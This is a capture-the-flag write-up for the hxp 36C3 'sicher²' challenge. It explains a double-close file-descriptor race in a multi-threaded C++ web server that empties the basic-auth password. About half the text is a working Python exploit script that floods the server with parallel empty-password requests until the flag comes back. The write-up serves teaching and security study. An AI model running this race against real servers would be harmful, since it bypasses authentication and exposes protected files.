hxp 36C3 CTF: sicher²

pwn/web (667 points, 6 solves)

This challenge was a simple (multi-threaded) C++ web server (source) featuring HTTP basic authentication for files in the /secret/ directory, which includes flag.html. Solvers had to circumvent the password check (or figure out a way to get code execution that I haven’t discovered yet :-)).

At first glance, the server uses mostly modern C++ APIs and there are no blatant security holes. The b64decode() function perhaps looked a bit fishy, but does not contain any (intentional :-)) vulnerabilities.

However, there is a subtle bug in the implementation of the opener and reader classes: The destructor is virtual in opener and reader, which means that both destructors are called and therefore the close() is executed twice — so if between the first and second close(), another file is opened and assigned the same file descriptor, it will erroneously be closed, which can be fatal: Closing the password.txt file containing the authentication credentials for the /secret/ directory before the password can be read by reader::get() leads to an empty password! At this point, the exploit strategy is remarkably simple: Keep hammering the server with a request for /secret/flag.txt using the username root and an empty password, until one of the parallel executions closes another’s password.txt file descriptor before the password is read. At this point, the empty password is considered correct and the flag.html file is returned to the client.

Here’s a slightly dirty Python script that performs this exploit:

#!/usr/bin/env python3
import sys, socket, queue
from multiprocessing import Process, Queue

count = 5000
req = b'''GET / HTTP/1.1

GET /secret/flag.html HTTP/1.1
Authorization: Basic cm9vdDo=

'''


q = Queue()

def pwn():

    for _ in range(3):

        sock = socket.socket()
        sock.settimeout(2)
        sock.connect((sys.argv[1], int(sys.argv[2])))
        for _ in range(count):
            try:
                sock.sendall(req)
            except:
                pass

        s = b''
        while s.count(b'HTTP/1.1') < count:

            try:
                tmp = sock.recv(0x100)
            except socket.timeout:
                tmp = b''
            except Exception:
                pass

            if not tmp:
                break
            s += tmp

            while b'\n' in s:
                n = s.index(b'\n')
                if 'hxp{' in s[:n].decode():
                    q.put(s[:n].decode())
                    return

                s = s[n+1:]

        if 'hxp{' in s.decode():
            q.put(s.decode())
            return

        sock.close()

for _ in range(1000):
    print('.', flush=True, end='', file=sys.stderr)
    procs = []
    for _ in range(4):
        proc = Process(target=pwn, args=())
        procs.append(proc)
        proc.start()

    for proc in procs:
        proc.join()

    try:
        print(q.get_nowait())
        sys.exit(0)
    except queue.Empty:
        pass

sys.exit(1)

After a few attempts, this gives the flag:

.......        <marquee>hxp{s0rrY_w3_4Re_cL0s3D}</marquee>